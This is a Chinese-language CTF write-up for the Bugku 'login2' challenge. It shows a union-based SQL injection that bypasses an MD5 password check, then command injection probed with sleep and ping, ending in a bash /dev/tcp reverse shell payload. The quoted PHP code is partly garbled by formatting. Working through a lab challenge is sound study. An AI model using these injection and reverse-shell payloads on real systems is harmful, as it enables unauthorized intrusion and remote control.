bugku-CTFlogin2(SKCTF)(hint:union,命令执行)

本题要点:union绕过、命令执行、脚本编写、base64编码

进入页面
在这里插入图片描述使用弱口令破解,一顿弱口令没卵用
抓包查看不用抓包,直接发送到repeater并且go

在这里插入图片描述看见tip有些乱码,拿走解码,base64解密
在这里插入图片描述
s q l = " S E L E C T u s e r n a m e , p a s s w o r d F R O M a d m i n W H E R E u s e r n a m e = ′ " . sql="SELECT username,password FROM admin WHERE username='". sql="SELECTusername,passwordFROMadminWHEREusername=".username."’";
if (!empty($row) && r o w [ ′ p a s s w o r d ′ ] = = = m d 5 ( row['password']===md5( row[password]===md5(password)){
}
代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错,这个能理解吧?这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。
而我其中的两个变量
password之所以用点号连接左右,是因为如果变量在单引号里面可能会不被解析出来,而被当成 一个字符串。
这里可以看到它是分离式的验证,首先查询username的用户,然后拿出password再进行比较,一开始想着是注入出admin的密码,但发现可能没有这个用户,而且也找不到注入的poc。后来参考网上的writeup才知道正确的打开方式。
username=’ union select 1,md5(1)#&password=1
在这里插入图片描述执行这条语句时由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(1)则会返回两个MD5(1)的值,然后password我们也置为1,从而绕过if语句的判断。
还原语句为:
SELECT username,password FROM admin WHERE username=‘a’ union select 1,md5(1)-- -&password=1’
此时我们可以 username=’’, 两个 sql 语句进行联合操作时,当前一个语句选择的内容为空, 我们这里就将后面的语句的内容显示出来

所以本题中的SELECT username,password FROM admin WHERE username=‘a’ union select 1,md5(1)-- 将会返回
username password
1 md5(1)
这样就能使if判断为真
if (!empty($row) && r o w [ ′ p a s s w o r d ′ ] = = = m d 5 ( row['password']===md5( row[password]===md5(password))
进入下一个页面,可以进行命令执行
在这里插入图片描述
然后注意到了倒数第二行:sh -c ps -anx | grep 123,用grep命令对输入的内容从 sh -c ps -anx 的执行结果里面进行查找并输出。
然后就测试下过滤了什么字符:| & || && ; %0a 测试时候问题来了——除了自带的进程回显之外其他都不会回显,于是导致能不能执行命令都无法判断。
既然无法根据回显判断命令是否执行,那还可通过linux下的sleep命令测试是否执行:c=123 ; sleep 5,产生了延时,说明命令执行了。
在这里插入图片描述然后测试下它是否能连接外网:c=123 ; ping www.baidu.com,浏览器一直转圈圈的话就是ping执行了,能连外网。
在这里插入图片描述然后就好弄了,有个公网ip再用个反弹shell的姿势:bash -i >& /dev/tcp/ip/port 0>&1 就能getshell了。
payload:
c=123 ; bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1`

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值